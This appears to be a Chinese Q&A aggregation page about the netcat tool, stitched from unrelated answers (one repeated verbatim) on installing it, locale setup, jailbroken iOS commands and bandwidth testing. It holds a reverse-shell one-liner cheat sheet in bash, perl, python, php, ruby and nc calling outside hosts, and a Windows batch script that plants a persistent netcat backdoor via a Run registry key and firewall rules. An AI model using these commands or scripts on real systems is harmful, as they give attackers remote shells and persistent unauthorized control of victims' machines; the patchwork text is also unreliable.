netcat(linux怎么安装netcat)

本文目录
- linux怎么安装netcat
- 什么是Linux系统中nc命令
- Trojan.NetCat这个病毒怎么处理啊向大人们求救~~~~
- linux如何消耗网络流量
- netcat在安装nmap时就会安装吗
- linux怎么安装netcat
- 如何在Windows,Linux中安装后门
- 如何在iphone,ipad上安装一些常用命令行命令
- windows怎么安装netcat
- NetCat使用介绍
linux怎么安装netcat
etcat-0.7.1.tar.gz
然后当然是解压了
tar zxvf netcat-0.7.1.tar.gz
解压完毕之后会生成目录,要cd进去
cd netcat-0.7.1
然后进行编译前的配置。
./configure
配置完了之后就可以make编译了。
编译成功就生成了netcat可执行的文件了,位于src目录,cd进去进行运行./netcat -h.如图
本地Windows监听
nc -vv -l -p 1234
远程Windows转发
nc -t -e C:\WINDOWS\system32\cmd.exe 8.8.8.8 1234
远程Linux转发
./netcat 8.8.8.8 1234 -e /bin/sh
ReverseShell.c
ReverseShell.pl
ReverseShell.py
phpspy.php
———————NetCat for linux 参数e————————-
下载netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make
cd src
./netcat -h
——————————————————————–
一句话反弹命令
bash -i 》& /dev/tcp/10.0.0.1/8080 0》&1
perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”》&S”);open(STDOUT,”》&S”);open(STDERR,”》&S”);exec(“/bin/sh -i”);};’
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call();’
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i 《&3 》&3 2》&3″);’
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i 《&%d 》&%d 2》&%d”,f,f,f)’
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2》&1|nc 10.0.0.1 1234 》/tmp/f
什么是Linux系统中nc命令
Linux中nc命令是一个功能强大的网络工具,全称是netcat。
测试使用
在一个终端上 输入 nc -lk 9999
输入数据。。。
新开启一个终端
输入 nc ip:9999
就可以看到上一个终端输入的数据
Trojan.NetCat这个病毒怎么处理啊向大人们求救~~~~
你中了木马,杀毒软件都不能彻底删除木马(也就是当时提示删除成功,可重启后,木马依旧存在)。你必须用专业的杀木马软件才能彻底清除它,推荐三款正版免费杀木马软件:Ewido ,杀马 ,超级巡警。
推荐下载网站----- " 英雄无敌缉毒先锋 " 在“木马专杀”栏目里去下载。
如果上面的软件还不行的话,就在该页面下载"冰刃"强制删除.
在百度里搜索 英雄无敌之缉毒先锋 就可以找到该网站了.
linux如何消耗网络流量
在 Linux 中,可以使用多种方式消耗网络流量。以下是一些常见的方法:
下载文件:下载文件是一种消耗网络流量的常见方式。您可以使用命令行下载工具,如 wget、curl,也可以使用图形界面下载工具,如 Firefox 或 Chrome 等浏览器。
视频和音频流:流媒体服务是消耗网络流量的主要来源之一。您可以通过视频网站、音乐网站或在线广播等方式消耗网络流量。
网络游戏:网络游戏也是一种消耗网络流量的方式。多人在线游戏、网络竞技游戏等都需要大量的网络带宽。
P2P 文件共享:使用 P2P 文件共享软件,如 BitTorrent,可以从其他用户下载文件,同时也会消耗一定的网络流量。
云服务:使用云服务,如云存储、云计算等,也需要消耗网络流量。
常用的一些命令行:
iperf:iperf 是一款功能强大的网络测速工具,可以通过 TCP 或 UDP 进行测试,并且可以设定不同的数据包大小、传输速度等参数。
wget:wget 是一款常用的命令行下载工具,可以通过下载大文件或多个小文件的方式持续消耗网络带宽。
curl:curl 是一款功能强大的命令行网络工具,可以用于向 Web 服务器发送 HTTP 请求,通过下载网页或数据的方式持续消耗网络带宽。
netcat:netcat 是一款多功能的命令行网络工具,可以用于创建 TCP 或 UDP 连接,并且可以设定不同的数据包大小和传输速度。
这些工具都可以通过不同的参数设置,来实现持续消耗网络带宽的目的。例如,您可以设置传输速度、数据包大小等参数,以达到消耗网络带宽的效果。
需要注意的是,如果您想测试运营商宽带是否达标,可以考虑使用专业的网络测速工具,如 speedtest.net 等。这些工具可以提供更精确和全面的测速结果,并且可以检测带宽、延迟等多个指标,以更好地评估网络服务质量。
netcat在安装nmap时就会安装吗
cent os6.5怎么安装nmap
如果是图形界面,可以点击启动终端。 不过, 这在企业中不适用,都是使用的远程软件维护的。 如果楼主以后有Linux系统管理,linux系统建设, 比如apache, dns, vsftp,shell编程问题,或者是有python的开发需求,网页的,都行。
1、在安装系统时,选择中文仅对安装有效,即让你在安装过程显示的信息是中文。在后面的定制服务那块,可以选择支持中文,一般默认支持中文的~~
2、如果没有中文支持你可已安装
# yum grouplist #查看Installed Language Groups: 下是否有Chinese support,如果没有,可以安装Chinese support
#yum -y groupinstall Chinese support #前提是你需要搭建好yum
3、系统改为中文支持
#LANG=zh_CN.UTF-8 #临时生效
修改/etc/sysconfig/i18n ,永久生效
# vim /etc/sysconfig/i18n
LANG="zh_CN.UTF-8"
这个需要你重启后配置才生效
linux怎么安装netcat
etcat-0.7.1.tar.gz
然后当然是解压了
tar zxvf netcat-0.7.1.tar.gz
解压完毕之后会生成目录,要cd进去
cd netcat-0.7.1
然后进行编译前的配置。
./configure
配置完了之后就可以make编译了。
编译成功就生成了netcat可执行的文件了,位于src目录,cd进去进行运行./netcat -h.如图
本地Windows监听
nc -vv -l -p 1234
远程Windows转发
nc -t -e C:\WINDOWS\system32\cmd.exe 8.8.8.8 1234
远程Linux转发
./netcat 8.8.8.8 1234 -e /bin/sh
ReverseShell.c
ReverseShell.pl
ReverseShell.py
phpspy.php
———————NetCat for linux 参数e————————-
下载netcat-0.7.1.tar.gz
tar zxvf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make
cd src
./netcat -h
——————————————————————–
一句话反弹命令
bash -i 》& /dev/tcp/10.0.0.1/8080 0》&1
perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”》&S”);open(STDOUT,”》&S”);open(STDERR,”》&S”);exec(“/bin/sh -i”);};’
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call();’
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i 《&3 》&3 2》&3″);’
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i 《&%d 》&%d 2》&%d”,f,f,f)’
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2》&1|nc 10.0.0.1 1234 》/tmp/f
如何在Windows,Linux中安装后门
0×00 准备工作
假设用户以管理员权限登录系统,在Windows 7系统上使用netcat 创建一个后门。
Netcat 功能比较单一, 缺少了许多我们渗透工作中需要的功能。为此我们将创建一个便携式的工具包来解决这个问题 :
1.下载额外的文件和附加持续.
2.修改指定文件.
3.快速创建执行后门.
4.控制远程服务器并进行恶作剧 :)
为了便于你第一时间获取到你的工具包,你需要将它放置在一个独立的U盘或者在线服务器上。
便携式工具(Portable Applications)
便携式工具是那些不需要安装就能直接使用的程序,它们往往将所有的执行环境和核心程序本身一同打包成一个独立的文件,方便携带。在独立文件执行的过程中会自行释放额的需求文件,并构建一个可顺利执行目标程序的环境。
1.不依赖特定的dll(dll已经打包)
2.不依赖注册表设置(有可能自行初始化) ,不遗留下任何注册表操作痕迹
3.操作痕迹最小化,尽量避免一切不必要的操作,导致留下过多的系统操作记录
创建 Windows 7 工具集
gVim (跨平台的文本器, 提供强大的命令行操作交互)
Wget (下载 windows 64 位版本)
Netcat
***隐藏网址***
0×01初试 Netcat 后门
nc.exe -dLp 449 -e cmd.exe -L 这个选项会开启一个监听服务并等待客户端连接, 在客户端连接成功之后,会提供相应的交互服务。
– p 指定程序监听的端口(非管理员权限只能设置高于1024的端口. 同时不可复用现有端口)
– e 在接收到一个客户端连接后, 会执行一个特定的程序(这里是cmd.exe), 这个程序负责接下来的会话交互(执行客户端后期提交的任何命令)
– d 采取静默监听模式,避免nc运行过程中,产生过多额外的日志信息
Windows 7 后门安装批处理脚本
@echo off
Rem 拷贝文件到系统目录
xcopy "%systemdrive%\%username%\Desktop\nc.exe" "C:
\Windows\System32\" -y
Rem 修改注册表,增加后门自启动代码.
reg add "HKLM\software\microsoft\windows\currentversion\run" /f /v "system" /t
REG_SZ /d "C:\windows\system32\nc.exe -Ldp 449 -e cmd.exe"
Rem 添加防火墙规则,开放监听的449端口,允许外部连接.
netsh advfirewall firewall add rule name="Rule 34" dir=in action=allow
protocol=UDP localport=449
netsh advfirewall firewall add rule name="Rule 35" dir=in action=allow
protocol=TCP localport=449
Rem 添加防火墙规则,允许nc.exe对外提供连接.
netsh advfirewall firewall add rule name="Allow Messenger" dir=in action=allow
program="C:\windows\system32\nc.exe"
如何在iphone,ipad上安装一些常用命令行命令
1、首先你的iphone或 ipad得先越狱,越狱后才有Cydia,才能安装OpenSSH。
2、记住在使用Cydia的时候,要选择“Developer”(开发者),如果一开始选择的是“User”,可以进入Cydia-》Sources-》Settings-》Developer进行修改,否则搜索不到这些软件包。
3、安装并启动sshd后,通过ssh -l root IPAD_IP_ADDRESS登录,默认口令是:alpine,这是ios系统默认的root密码,记得及时修改。当然如果可以不用这么启动,其实只要安装openssh后,服务就会默认启动的。如果没有可以像Windows一样重启设备也可以。
4、下面就是一些软件包的名字:
adv-cmds #finger,fingerd,last,lsvfs,md,ps
basic-cmds #msg,uudecode,uuencode,write
bc #计算器工具
cURL #就是curl了
Diff Utilities #diff
diskdev-cmds #mount,quota,fsck等,忘记是否默认安装的
file #常用的file命令
file-cmds #chflags,compress
Find Utilites #find
Gawk #awk
grep #grep
inetutils #ftp,inetd,ping,telnet…
less #less
links #links,文本浏览器
lsof #lsof
netcat #nc
network-cmds #arp,ifconfig,route,traceroute
ngrep #ngrep (Network grep).
Nmap #nmap
rsync #rsync
Screen #screen
sed #sed
shell-cmds #killall,mktemp,time,which
system-cmds #iostat,login,sync,sysctl
tcpdump #tcpdump
top #top
unrar #unrar备用
unzip #unzip
VI IMproved #vim
wget #wget
whois #whois
注意:以下内容都很重要!
其实ios系统属于unix系统分支BSD系统的一支:“Darwin”系统。
例如我的iphone 4:
login as: root
root@192.168.91.34’s password:
tutengyidumato-iPhone:~ root# uname -a
Darwin tutengyidumato-iPhone 11.0.0 Darwin Kernel Version 11.0.0: Tue Nov 1 20:33:58 PDT 2011; root:xnu-1878.4.46~1/RELEASE_ARM_S5L8930X iPhone3,1 arm N90AP Darwin
tutengyidumato-iPhone:~ root# uname -r
11.0.0
tutengyidumato-iPhone:~ root# hostname
tutengyidumato-iPhone
tutengyidumato-iPhone:~ root#信息说明:
以上信息显示,
系统以版本:11.0.0;
系统生成时间:Tue Nov 1 20:33:58 PDT 2011
内核版本:xnu-1878.4.46~1/RELEASE_ARM_S5L8930X iPhone3,1 arm N90AP Darwin
主机名:tutengyidumato-iPhone。
既然同属于BSD系统,那么就会有其相同特征和命令使用方法,比如使用apt-get命令。这个命令可以再cydia中安装,只要在搜索中输入apt字符,就会显示出关于apt命令的所有软件包,如果是标记命令行软件包的,安装即可,就会安装上apt-get。
安装apt-get后,其实不用再在cydia中搜索以上命令的软件包了。只要使用如下格式:
例如:ipad2上面测试当前网络,无论是3g还是wifi是否可用,该怎么办?其实很简单,像Windows一样使用ping命令进行测试即可:
操作如下:
zhouzhoumato-iPad:~ root# uname -a
Darwin zhouzhoumato-iPad 11.0.0 Darwin Kernel Version 11.0.0: Tue Nov 1 20:34:16 PDT 2011; root:xnu-1878.4.46~1/RELEASE_ARM_S5L8940X iPad2,1 arm K93AP Darwin
zhouzhoumato-iPad:~ root# uname -r
11.0.0
zhouzhoumato-iPad:~ root# hostname
-sh: hostname: command not found
zhouzhoumato-iPad:~ root#
windows怎么安装netcat
windows安装netcat的方法如下:
把下载好的Netcat文件夹内所有文件剪切至C盘下的system32文件夹内。
- 之后“windows徽标键+R”调出输入框;
- 输入cmd,如果想在nc下执行程序只需输入nc后按回车即可!
NetCat使用介绍
NetCat号称网络工具中的瑞士军刀,可以用它来做很多有用事情,比如侦听端口、端口扫描、传输文件、网络测速等等
机器IP:118.178.255.158
机器IP:47.96.151.115
可以用这个和妹子聊天,比阅后即焚更安全!
监听UDP端口
-w2 设置2秒超时时间
测试下来,nc传文件与scp传文件速度无差别,用tcpdump查看数据包个数也差不多,nc传输文件比scp好在不需要输入密码.
测试网速原理就是采用文件传输方式,把来自一台机器的/dev/zero一直发送给另外一台的机器的/dev/null,这样测试网速因为不需要写磁盘会更精确.
接收端
发送端
在接收端测试网速
阿里云测试机网速峰值为5Mbps,换算一下 5*1024/8 =640KB/s,与测试结果的recv相差不大,说明阿里云没有骗人。
受控端
控制端
这是否就意味我没有远程机的root账号而能做很多事了?

更多文章:
如何用迅雷下载含有敏感资源(win10系统下迅雷无法下载敏感资源怎么解决)
2026年9月7日 13:10
地球帝国中文版下载(高悬赏,求类似帝国时代的单机游戏和安全下载地址)
2026年9月7日 07:20
bios设置每天自动开机(bios电源管理怎么设置自动开关机)
2026年9月7日 06:40





